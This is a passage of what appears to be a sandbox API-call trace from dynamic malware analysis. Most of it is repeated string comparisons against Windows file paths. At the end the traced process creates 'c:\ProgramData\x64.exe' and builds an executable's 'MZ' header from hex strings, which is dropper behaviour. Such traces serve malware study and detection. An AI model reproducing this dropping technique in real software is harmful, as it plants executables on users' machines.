shared\\Stationery\\Peacock.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0191.009] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0191.010] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0191.011] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0191.012] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0191.013] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0191.014] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0191.014] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0191.014] CreateFileA (lpFileName="c:\\ProgramData\\x64.exe" (normalized: "c:\\programdata\\x64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e998, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0191.016] GetFileType (hFile=0x778) returned 0x1 [0191.016] IMalloc:Alloc (This=0x767666bc, cb=0x252) returned 0x53a73a0 [0191.017] VarParseNumFromStr (in: strIn="&H4D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.017] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M", lpUsedDefaultChar=0x0) returned 1 [0191.018] VarParseNumFromStr (in: strIn="&H5A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.018] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="Z") returned 1 